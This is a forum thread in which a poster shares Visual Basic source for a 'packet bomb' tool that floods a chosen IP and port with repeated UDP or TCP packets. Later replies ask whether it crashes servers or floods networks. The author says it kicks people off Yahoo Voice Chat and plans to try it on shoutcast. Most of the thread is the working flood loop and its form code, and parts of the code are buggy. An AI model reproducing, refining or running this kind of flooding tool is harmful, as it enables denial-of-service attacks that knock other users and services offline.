Jump to content

Featured Replies

Posted

Well ive been busy learning VB while I was in absense of teh forumz, thaught Id post my latest update on my packet tool, I have a problem with the TCP packets, maby someone else can help meh with fixin that, newayz, herez da code:

 

Option Explicit
Private Packet      As String
Private Address     As String
Private LPort       As Long
Private RPort       As Long
Private comstring   As String

Private Sub cmdBomb_Click(Index As Integer)

   Address = txtIP(0).Text & "." & txtIP(1).Text & "." & txtIP(2).Text & "." & txtIP(3).Text
   LPort = txtLocalPrt.Text
   RPort = txtRemotePrt.Text
   If LenB(txtPacket.Text) = 0 Then
       MsgBox "Please Enter in your packet data before trying to send a packet", vbExclamation, "Packet Error"
       Exit Sub
   ElseIf txtIP(0).Text = "0" Or LenB(txtIP(1).Text) = 0 Or LenB(txtIP(2).Text) = 0 Or LenB(txtIP(3).Text) = 0 Then
       MsgBox "You MUST enter a valid IP address.", vbExclamation, "IP Error"
       Exit Sub
   ElseIf txtIP(0).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub
   ElseIf txtIP(3).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub
   ElseIf txtLocalPrt.Text = "0" Then
       MsgBox "You MUST enter a valid local port number.", vbExclamation, "Port Error"
       Exit Sub
   ElseIf txtRemotePrt.Text = "0" Then
       MsgBox "You MUST enter a valid remote port number.", vbExclamation, "Port Error"
       Exit Sub
   Else
       GoTo bomb
   End If
bomb:
   On Error GoTo er
   Select Case Index
   Case 0
       cmdBomb(0).Enabled = False
       cmdBomb(1).Enabled = True
       With Winsock1
           .LocalPort = LPort
           .RemoteHost = Address
           .RemotePort = RPort
       End With
       Do
           DoEvents:
           Winsock1.SendData Packet
           lblStatus.Caption = "Bombing..."
           cmdSingle.Enabled = False
           DoEvents:
           Pause 0.09
       Loop While cmdBomb(0).Enabled = False
   Case 1
       Winsock1.Close
       lblStatus.Caption = "Packet Bomb Stopped"
       cmdBomb(0).Enabled = True
       cmdBomb(1).Enabled = False
       cmdSingle.Enabled = True
       Timer1.Enabled = True
       Exit Sub
er:
       Winsock1.Close
       lblStatus.Caption = "Packet Error"
       cmdBomb(0).Enabled = True
       cmdBomb(1).Enabled = False
       cmdSingle.Enabled = True
       Timer1.Enabled = True
   End Select

End Sub

Private Sub cmdExit_Click(Index As Integer)

   Winsock1.Close
   End

End Sub

Private Sub cmdPing_Click()

   comstring = "command.com /c ping " & Address
   Address = txtIP(0).Text & "." & txtIP(1).Text & "." & txtIP(2).Text & "." & txtIP(3).Text
   If txtIP(0).Text = "0" Or LenB(txtIP(1).Text) = 0 Or LenB(txtIP(2).Text) = 0 Or LenB(txtIP(3).Text) = 0 Then
       MsgBox "You MUST enter a valid IP address.", vbExclamation, "IP Error"
       Exit Sub
   ElseIf txtIP(0).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub
   ElseIf txtIP(3).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub
   Else
       GoTo ping
   End If
ping:
   lblStatus.Caption = "Pinging..."
   Timer3.Enabled = True
   Shell (comstring), vbNormalFocus

End Sub

Private Sub cmdSingle_Click()

   Address = txtIP(0).Text & "." & txtIP(1).Text & "." & txtIP(2).Text & "." & txtIP(3).Text
   LPort = txtLocalPrt.Text
   RPort = txtRemotePrt.Text
   Winsock1.LocalPort = LPort
   Winsock1.RemoteHost = Address
   Winsock1.RemotePort = RPort
   If LenB(txtPacket.Text) = 0 Then

       MsgBox "Please Enter in your packet data before trying to send a packet", vbExclamation, "Packet Error"
       Exit Sub

   ElseIf txtIP(0).Text = "0" Or LenB(txtIP(1).Text) = 0 Or LenB(txtIP(2).Text) = 0 Or LenB(txtIP(3).Text) = 0 Then 'NOT LENB(TXTPACKET.TEXT)...

       MsgBox "You MUST enter a valid IP address.", vbExclamation, "IP Error"
       Exit Sub

   ElseIf txtIP(0).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub

   ElseIf txtIP(3).Text = "0" Then
       MsgBox "You MUST enter a valid IP address"
       Exit Sub

   ElseIf txtLocalPrt.Text = "0" Then
       MsgBox "You MUST enter a valid local port number.", vbExclamation, "Port Error"
       Exit Sub

   ElseIf txtRemotePrt.Text = "0" Then
       MsgBox "You MUST enter a valid remote port number.", vbExclamation, "Port Error"
       Exit Sub

   Else
       GoTo Send
   End If
Send:
   On Error GoTo er
   Winsock1.SendData Packet
   lblStatus.Caption = "Packet Sent!"
   Timer2.Enabled = True

Exit Sub

er:
   lblStatus.Caption = "Packet Error"
   Timer2.Enabled = True

End Sub

Private Sub cmdTCP_Click()

   cmdTCP.Enabled = False
   cmdUDP.Enabled = True
   Winsock1.Protocol = sckTCPProtocol

End Sub

Private Sub cmdUDP_Click()

   cmdUDP.Enabled = False
   cmdTCP.Enabled = True
   Winsock1.Protocol = sckUDPProtocol

End Sub

Private Sub Form_Load()

   cmdTCP.Enabled = False
   cmdBomb(1).Enabled = False
   Winsock1.Protocol = sckTCPProtocol

End Sub

Private Sub Pause(interval)

Dim CurrentTime As Variant

   CurrentTime = Timer
   Do While Timer - CurrentTime < Val(interval)
       DoEvents:
   Loop

End Sub

Private Sub Timer1_Timer()

   Timer1.Enabled = False
   If LenB(lblStatus.Caption) Then

       lblStatus.Caption = vbNullString

   End If

End Sub

Private Sub Timer2_Timer()

   Timer2.Enabled = False
   Winsock1.Close
   If LenB(lblStatus.Caption) Then

       lblStatus.Caption = vbNullString

   End If

End Sub

Private Sub Timer3_Timer()

   Timer3.Enabled = False
   If LenB(lblStatus.Caption) Then

       lblStatus.Caption = vbNullString

   End If

End Sub

Private Sub txtIP_Change(Index As Integer)

   If Val(txtIP(Index).Text) > 255 Then
       txtIP(Index).Text = 255
   End If

End Sub

Private Sub txtIP_KeyPress(Index As Integer, _
                          KeyAscii As Integer)


   If KeyAscii = 8 Then
       If Len(txtIP(Index).Text) = 0 Then
           On Error Resume Next
           txtIP(Index - 1).SetFocus
       Else
           Exit Sub

       End If
   End If
   If KeyAscii = 46 Then
       On Error Resume Next
       KeyAscii = 0
       txtIP(Index + 1).Text = ""
       txtIP(Index + 1).SetFocus
   End If
   If KeyAscii <= 47 Or KeyAscii >= 58 Then
       KeyAscii = 0
   End If
   On Error GoTo 0


End Sub

Private Sub txtLocalPrt_Change()

   If Not Len(txtLocalPrt.Text) = 0 Then

       If txtLocalPrt.Text < 0 Or txtLocalPrt.Text > 65535 Then
           txtLocalPrt.Text = "65535"
           MsgBox "You can only specify a port number between 1 and 65535", vbExclamation, "Port Error"
       End If
   End If

End Sub

Private Sub txtLocalPrt_KeyPress(KeyAscii As Integer)

   If Not KeyAscii = 8 Then

       If KeyAscii <= 47 Or KeyAscii >= 58 Then
           KeyAscii = 0
       End If
   End If

End Sub

Private Sub txtPacket_Change()

   Packet = txtPacket.Text

End Sub

Private Sub txtRemotePrt_Change()

   If Not Len(txtRemotePrt.Text) = 0 Then

       If txtRemotePrt.Text < 0 Or txtRemotePrt.Text > 65535 Then
           txtRemotePrt.Text = "65535"
           MsgBox "You can only specify a port number between 1 and 65535", vbExclamation, "Port Error"
       End If
   End If

End Sub

Private Sub txtRemotePrt_KeyPress(KeyAscii As Integer)

   If Not KeyAscii = 8 Then

       If KeyAscii <= 47 Or KeyAscii >= 58 Then
           KeyAscii = 0
       End If
   End If

End Sub

  t3rm1ght said:
what.. cant you make a GUI? its not hard..

 

yes but noone can be fucked making a gui for something that we are told doesnt work, why not just post the .frm ?

  • Author
it works, just not TCP packets, because TCP needs an active connection, im working on fixing that, but the UDP works fine.
  • 2 weeks later...
  • Author
  godverdomme said:
sure, andeuh, does it make servers crash or floods a network?

 

havnt tested to extensively, but It is fool-proof for kicking you off of Yahoo Voice Chat, and I am thinking it might work for kicking you off of shoutcast, which ima try right now.

 

EDIT: nope, but it does send packets ^_^, which was the desired intent. Its my first Winsock proggy, so... MLEH

:( Would be nice when some1 distributes the code for a prog that is bug/compile error free, they post it just for the fact of spreading choas.
  • 3 weeks later...

Lawl,

VB for networking ? Now there's a lost cause.

 

 

Regards,

Matt J.

Guest
This topic is now closed to further replies.